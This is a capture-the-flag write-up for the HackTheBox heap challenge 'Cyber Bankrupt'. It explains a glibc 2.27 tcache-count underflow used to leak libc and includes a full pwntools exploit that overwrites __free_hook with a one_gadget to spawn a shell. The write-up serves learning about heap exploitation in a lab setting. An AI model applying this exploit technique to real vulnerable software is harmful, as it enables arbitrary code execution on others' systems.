HTB Cyber Bankrupt
Cyber Bankrupt is a heap exploitation challenge with a very clear vulnerability allowing a use-after-double-free. However, the difficulty of the challenge comes from the constraints of the exploitation, making the libc leak particularly difficult. This writeup is not really about the challenge itself, but rather about the trick used to obtain a libc leak, which took a long time to figure out and for which I could not find any documentation more precise than the general concept of tcache poisoning.
Difficulty : Medium
Category : Pwn
First look
The binary is provided along with its own libc and loader. Both the program and the libc are not stripped, which is very convenient.
~ $ tree
.
├── cyber_bankrupt
├── ld-linux-x86-64.so.2
├── libc.so.6
~ $ file cyber_bankrupt
cyber_bankrupt: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=aa47cb27d9b0008409a44dda043ac47ac27e3877, not stripped
Let's also check its protections :
~$ checksec ./cyber_bankrupt
[*] '/home/kaddate/ctf/HTB/challenge/pwn/Cyber Bankrupt/cyber_bankrupt'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Stripped: No
All basic binary protections are activated. This means no .got overrides and likely no stack based buffer overflows with shellcodes on the stack.
The last important note is that the libc version is 2.27. This is the version that introduced the per-thread cache mechanism. Since it was its first release, the security checks around it were weak and it easily allowed poisoning and double frees.
Finally, Let's see what the program looks like.

Ghidra FTW
Let's have a quick look of the program via Ghidra.
void main(void)
{
long lVar1;
int i;
banner();
pin_check();
i = 0;
do {
if (13 < i) {
fail("For safety reasons you are logged out!\n");
}
i = i + 1;
lVar1 = menu();
if (lVar1 == 2) {
clear_history();
}
else if (lVar1 == 3) {
view_details();
}
else if (lVar1 == 1) {
transfer_money();
}
else {
error("Invalid option, exiting..\n\n");
}
} while( true );
}
This is a menu-driven program with three functionalities: making money transfers, viewing transfer history, and deleting the history. These are essentially three heap primitives: the first calls malloc(), the second reads from a chunk, and the last frees it.
One important limitation is the maximum of 13 calls. We can only invoke these functions 13 times before the program forcibly exits.
if (13 < i) {
fail("For safety reasons you are logged out!\n");
}
Let’s analyze these functions.
void transfer_money(void)
{
long lVar1;
int id;
int input;
void *pvVar2;
ssize_t sVar3;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
id = check_id();
info("Enter amount you want to transfer: ");
input = read_num();
getchar();
if ((input < 1) || (1056 < input)) {
fail("Invalid amount!\n");
}
pvVar2 = malloc((long)input);
(&acc)[id] = pvVar2;
info("Enter receiver: ");
sVar3 = read(0,(void *)(&acc)[id],(long)(input + -1));
if ((int)sVar3 == -1) {
fail("Invalid username!");
}
(&acc)[(int)sVar3] = 0;
loading_bar();
success("Transaction succeed!\n\n");
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
- First, the program reads the account ID from the user via
check_id(), but it only accepts the ID0. - It then asks how much money should be transferred. This value must be between 1 and 0x420 and will be used as the argument to
malloc(). - The allocated chunk is stored in a global variable:
acc[0] = malloc(amount). - The program then asks for the receiver’s name, which is written into the allocated chunk.
- Finally, the index corresponding to the return value of
read()is reset to 0. Sinceread()returns the number of bytes read, as long as we provide input, the program will reset an index in theaccarray that does not correspond to the valid bank ID0.
void clear_history(void)
{
long lVar1;
int iVar2;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
iVar2 = check_id();
success("Transaction history has been wiped out!\n\n");
free((void *)(&acc)[iVar2]);
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
The clear_history() function is straightforward: it frees the chunk stored in acc[0]. However, it does not reset the freed pointer to NULL, which can lead to use-after-free situations.
void view_details(void)
{
long lVar1;
int iVar2;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
iVar2 = check_id();
puts((char *)(&acc)[iVar2]);
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Finally, the read primitive. This function simply prints the content of the chunk stored in acc[0]. Combined with the use-after-free vulnerability, this allows us to leak data from freed chunks.
Roadmap
We have a use-after-double-free vulnerability by calling transfer_money() and then clear_history() twice. This is useful to obtain a write-what-where primitive. However, before that, we need to leak a libc pointer. Once we have a libc pointer, we can overwrite __free_hook with the address of system() and then free a chunk containing the string /bin/sh, which will result in a call to system("/bin/sh").
Heap leak
The trick to leak the heap is trivial and very documented. We need to exploit the use-after-free vulnerability to leak the pointer stored in the chunk after it was freed.
do_transfert(p, amount=0x100)
for _ in range(2):
do_clear_history(p)
# 0^J being the control characters of the output
leak = do_view_details(p).split(b"\n")[0].strip(b"0^J")
heap_leak = u64(leak.ljust(8, b"\x00"))
success(f"heap leak @{heap_leak:016x}")
~ $ python3 ./exploit.py ./cyber_bankrupt_patched --libc ./libc.so.6
[*] Using custom libc ./libc.so.6
[+] Starting local process './cyber_bankrupt_patched': pid 100047
[*] Entering PIN...
[*] Transferring 256 from bank 0 to b'Kaddate_'...
[*] Clearing history for bank 0...
[*] Clearing history for bank 0...
[*] Viewing details for bank 0...
[+] heap leak @0000562c28d87670
Libc leak
Before this challenge, my only prior knowledge for leaking a libc pointer via the heap was to force a chunk into the unsorted bin by filling a tcache list of a specific size, so that free() would place the chunk into the unsorted bin. However, this is not possible here for two reasons. First, we can only control one chunk at a time, so we cannot free eight different preallocated chunks. Second, even if we could, we would exceed the strict limit of 13 function calls, which would cause the program to terminate.
After reading a lot of documentation, especially this one, I understood that I needed a way to manipulate the heap to move a chunk into the unsorted bin, possibly by triggering malloc_consolidate(). Still, I was stuck for quite a long time.
Eventually, I decided to get a hint from the the official writeup of the challenge. Unfortunately, it was not very clear about what was actually being triggered, aside from mentioning "tcache poisoning". The writeup demonstrated a libc leak obtained after freeing twice using a specific sequence of allocations.
do_transfert(p, amount=0x100, receiver=p64(heap_leak))
do_transfert(p, amount=0x420)
do_transfert(p, amount=0x100, receiver=p64(heap_leak))
do_transfert(p, amount=0x100)
do_clear_history(p)
libc_leak = do_view_details(p)
I really struggled to understand this behaviour ! From this point on, I will explain the reasoning process that allowed me to understand this trick before continuing the writeup.
The tcache poisoning trick.
First, let’s clarify the state of the heap after the double free. The tcache bin for chunks of size 0x110 (0x100 + 0x10 of metadatas) has a count of 2, corresponding to the two free operations. Since the same chunk was freed twice, the tcache entry points to itself, forming an infinite loop.
As a reminder : a tcache bin is a linked list which contains the freed chunks addresses. If a tcache bin linked list is poisoned so that a freed chunk holds its own address. This makes an infinite loop.
tcache->counts[15] = 2
tcache->entries[15] = A -> A -> ...
┌───────────┐ ┌───────────┐ ┌───────────┐
│ A (0x110) ├───► A (0x110) ├────► ... │
└───────────┘ └───────────┘ └───────────┘
First malloc()
The exploit starts by calling malloc(0x100), which returns chunk A from the tcache. The exploit also immediately writes the chunk’s own address into itself, maintaining the poisoned tcache loop.
At this point, the tcache counter is reduced to 1 and still holds chunk A.
tcache->counts[15] = 1
tcache->entries[15] = A -> A -> ...
┌───────────┐ ┌───────────┐ ┌───────────┐
│ A (0x110) ├───► A (0x110) ├────► ... │
└───────────┘ └───────────┘ └───────────┘
Second malloc()
The second allocation is malloc(0x420). This size is too large to be served from the tcache, so the chunk is allocated on the heap after chunk A. So the heap layout looks something like this :
[ ... ] [ A (0x110) ] [ B (0x430) ] [ top chunk ]
Third malloc()
The third allocation is another malloc(0x100). This again returns chunk A, continuing the tcache loop, but it reduces the tcache count to 0.
tcache->counts[15] = 0
tcache->entries[15] = A -> A -> ...
┌───────────┐ ┌───────────┐ ┌───────────┐
│ A (0x110) ├───► A (0x110) ├────► ... │
└───────────┘ └───────────┘ └───────────┘
Fourth malloc()
The fourth allocation is yet another malloc(0x100), which surprisingly returns the same pointer A again, even though the tcache count should now be zero.
free() and leak
Finally, the chunk is freed, and a libc pointer is leaked from the freed chunk, which now resides in the unsorted bin.
Say whaaaat ?
Wait What ? How is the chunk A now in the unsorted bin instead of tcache ? And how is the last malloc() returning from an empty tcache list ?
To answer this, we need to look at the glibc 2.27 implementation of free() and malloc() and analyze their behaviours at runtime.
The libc given with challenge contains all its debug symbols (or can be unstripped by using tools such as pwninit). So to ease my life, let's download the source code of the file malloc.c and put it in the project's working directory. gdb will automatically source it when the libc is launched.
All the sources are available here : https://elixir.bootlin.com/glibc/glibc-2.27/source
static void _int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */
size = chunksize (p);
// [ ...SNIP... ]
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
#endif
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
// [ ...SNIP... ]
}
/*
Consolidate other non-mmapped chunks as they arrive.
*/
else if (!chunk_is_mmapped(p)) {
/* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P)
have_lock = true;
if (!have_lock)
__libc_lock_lock (av->mutex);
nextchunk = chunk_at_offset(p, size);
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
/*
Place the chunk in unsorted chunk list. Chunks are
not placed into regular bins until after they have
been given one chance to be used in malloc.
*/
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
malloc_printerr ("free(): corrupted unsorted chunks");
p->fd = fwd;
p->bk = bck;
if (!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;
set_head(p, size | PREV_INUSE);
set_foot(p, size);
check_free_chunk(av, p);
}
/*
If the chunk borders the current high end of memory,
consolidate into top
*/
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}
/*
If freeing a large space, consolidate possibly-surrounding
chunks. Then, if the total unused topmost memory exceeds trim
threshold, ask malloc_trim to reduce top.
Unless max_fast is 0, we don't know if there are fastbins
bordering top, so we cannot tell for sure whether threshold
has been reached unless fastbins are consolidated. But we
don't want to consolidate on each free. As a compromise,
consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD
is reached.
*/
if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
if (atomic_load_relaxed (&av->have_fastchunks))
malloc_consolidate(av);
if (av == &main_arena) {
#ifndef MORECORE_CANNOT_TRIM
if ((unsigned long)(chunksize(av->top)) >=
(unsigned long)(mp_.trim_threshold))
systrim(mp_.top_pad, av);
#endif
} else {
/* Always try heap_trim(), even if the top chunk is not
large, because the corresponding heap might go away. */
heap_info *heap = heap_for_ptr(top(av));
assert(heap->ar_ptr == av);
heap_trim(heap, mp_.top_pad);
}
}
if (!have_lock)
__libc_lock_unlock (av->mutex);
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
else {
munmap_chunk (p);
}
}
The logic of free() is relatively straightforward.
1. If the chunk is eligible for the tcache and the corresponding tcache bin is not full, it is placed into the tcache.
2. Otherwise, if it is a fastbin-sized chunk, it goes into a fastbin.
3. Otherwise, if it is not mmapped, it is placed into the unsorted bin.
4. Finally, if the unsorted chunk is adjacent to the top chunk, it may be consolidated.
In our case, freeing the chunk A should satisfy the tcache conditions. However, runtime debugging shows that the tcache path is skipped and the chunk is placed into the unsorted bin instead.
Tracing free()
I'll start by adding a breakpoint to the free() and then step instructions per instructions.

Once in free() runtime, we hit the tcache related conditions.

But, if we continue the execution we can observe that the tcache part is skipped and the program lands on the unsorted bins handling. So the libc pointer leak comes from a legitimate unsorted bin. All of this is getting more precise, the question now is Why does free() put this chunk in the unsorted bin ?.

Also, it isn't reconsolidated with the top chunk because the chunk B of size 0x430 creates a guard between our chunk A and the top chunk.
At this point, I still don't understand why the chunk doesn't go into the tcache. Let's replay this execution and analyze the tcache conditions.
{
size_t tc_idx = csize2tidx (size);
if (tcache && tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count) {
tcache_put (p, tc_idx);
return;
}
}

The tcache condition is valid :

The tc_idx is indeed inferior to mp_.tcache_bins

Last, is the tcache count is inferior to 7 (the max size of tcache lists) ?

Ok so the tcache count is 255 ! (or -1 ?). In any case : free() thinks that the tcache is full. hence fallbacks to the unsorted behaviour. After thinking about it, this looks like a int underflow in the tcache count. after all, the exploit allocates the chunk A 3 times from the tcache only having a count of 2. Well, let's have a look to malloc().
Understanding malloc()
Let's have a look at the part of the code which handles small chunks when tcache is activated :
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
It follows the same kind of logic: it checks whether tcache is enabled, then whether the requested chunk size falls into the tcache bins. It then simply checks whether the tcache contains chunks in its list and returns the first available entry. As a result, malloc() does not check the tcache count at all ! By calling the tcache_get() function, the tcache counter is decremented by one, causing it to underflow and wrap to -1 (0xff / 255 when unsigned).
Final answer: an integer underflow in tcache_get() can lead to tcache poisoning and unstable heap states.
The tcache_get() function does not require the caller to ensure that the tcache count is correctly maintained. This can result in an integer underflow in the tcache count, leading to heap metadata corruption. The vulnerable function here is malloc(), which does not check the tcache count for performance reasons. In the presence of prior tcache poisoning, its behaviour becomes undefined.
If we look back at the exploit, everything makes sense now.
do_transfert(p, amount=0x100, receiver=p64(heap_leak))
do_transfert(p, amount=0x420)
do_transfert(p, amount=0x100, receiver=p64(heap_leak))
do_transfert(p, amount=0x100)
do_clear_history(p)
libc_leak = do_view_details(p)
The three allocations of size 0x100 exhaust the tcache count down to 255 (-1), while keeping the tcache head pointing to chunk A. The subsequent free() places the chunk into the unsorted bin due to the poisoned tcache state. The chunk is not merged with the top chunk because the 0x420 sized chunk acts as a guard between them.
Following the exploit.
Following the exploit, once the libc pointer is leaked, we can compute the address of __free_hook and overwrite it with the address of system(). Freeing a chunk containing the string /bin/sh will then result in a call to system("/bin/sh").
libc.address = libc_leak - 0x3ebca0
do_transfert(p, amount=0x30, receiver=p64(libc.sym.__free_hook))
do_transfert(p, amount=0x30, receiver=p64(libc.sym.system))
do_transfert(p, amount=0x200, receiver=b"/bin/sh")
do_clear_history(p)
p.interactive()
The problem is that this technique exceeds the limit of 13 function calls by one. The workaround is to simplify the exploit even further. By overwriting __free_hook with a one-gadget instead of system(), we can skip the allocation needed to create the /bin/sh string. Using the one_gadget tool, we can find a suitable gadget that directly spawns a shell.
~ $ one_gadget ./libc.so.6
0x4f2be execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
And here is the full exploit :
import argparse
from six import b
def parse_args():
"""Parse command-line arguments for the exploit."""
parser = argparse.ArgumentParser(description="CTF exploit script")
parser.add_argument("binary", help="Path to the target ELF")
parser.add_argument("--debug", action="store_true", help="Run the binary under gdb")
parser.add_argument("--remote", nargs=2, metavar=("HOST", "PORT"),
help="Connect to remote HOST PORT")
parser.add_argument("--libc", help="Path to custom libc")
args, remaining = parser.parse_known_args()
args.forward = remaining
return args
cli_args = parse_args()
# Prevents pwntools from infering with CLI args. (Would be wise to move to pwnlib)
from pwn import *
def loader(args):
global elf
context.terminal = ['sakura', '-e', 'zsh', '-c']
binary_and_argv = [args.binary] + [x for x in args.forward]
# Load main binary
context.binary = elf = ELF(args.binary, checksec=False)
# Environment handling with optional libc
env = {}
libc = None
if args.libc:
libc = ELF(args.libc, checksec=False)
info(f"Using custom libc {args.libc}")
# Remote mode
if args.remote:
host, port = args.remote
p = remote(host, int(port))
# Local debug mode
elif args.debug:
p = gdb.debug(
binary_and_argv,
env=env
#gdbscript=""
)
else:
pty = process.PTY
p = process(binary_and_argv, env=env, stdin=pty, stdout=pty)
return p, elf, libc
def enter_pin(p):
info("Entering PIN...")
key = b"3<3<"
pin = b"".join([(x ^ 5).to_bytes(1) for x in key])
p.sendlineafter(b"4-digit pin: ", pin)
def do_transfert(p, bank_id: int = 0, amount: int = 100, receiver: bytes = b"Kaddate_"):
info(f"Transferring {amount} from bank {bank_id} to {receiver}...")
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Bank ID: ", str(bank_id).encode())
p.sendlineafter(b"Enter amount you want to transfer: ", str(amount).encode())
p.sendafter(b"Enter receiver: ", receiver)
def do_clear_history(p, bank_id: int = 0):
info(f"Clearing history for bank {bank_id}...")
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"Bank ID: ", str(bank_id).encode())
def do_view_details(p, bank_id: int = 0):
info(f"Viewing details for bank {bank_id}...")
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Bank ID: ", str(bank_id).encode())
return p.recvuntil(b"+------------------+")
if __name__ == "__main__":
p, elf, libc = loader(cli_args)
enter_pin(p)
do_transfert(p, amount=0x100)
for _ in range(2):
do_clear_history(p)
# 0^J being the control characters of the output
leak = do_view_details(p).split(b"\n")[0].strip(b"0^J")
heap_leak = u64(leak.ljust(8, b"\x00"))
success(f"heap leak @{heap_leak:016x}")
# tcache->counters[15] = 2
do_transfert(p, amount=0x100, receiver=p64(heap_leak))
do_transfert(p, amount=0x420)
do_transfert(p, amount=0x100, receiver=p64(heap_leak))
do_transfert(p, amount=0x100)
# tcache->counters[15] = -1 (unsigned 0xff)
# So the free will put the chunk into the unsorted bin
do_clear_history(p)
leak = do_view_details(p).split(b"\n")[0].strip(b"0^J")
libc_leak = u64(leak.ljust(8, b"\x00"))
success(f"libc leak @{libc_leak:016x}")
libc.address = libc_leak - 0x3ebca0
# Gets back the unsorted chunks, so still the same chunk
do_transfert(p, amount=0x40, receiver=p64(libc.sym.__free_hook))
# This allocation Just retrieves back the tcache first chunk which is just an artefact of the tcache
do_transfert(p, amount=0x100)
# Gadget From `one_gadget ./libc.so.6`
do_transfert(p, amount=0x100, receiver=p64(libc.address + 0x4f322))
do_clear_history(p)
p.interactive()

Made with luv :3
References
- https://blog.quarkslab.com/heap-exploitation-glibc-internals-and-nifty-tricks.html
- https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/
- https://elixir.bootlin.com/glibc/glibc-2.27/source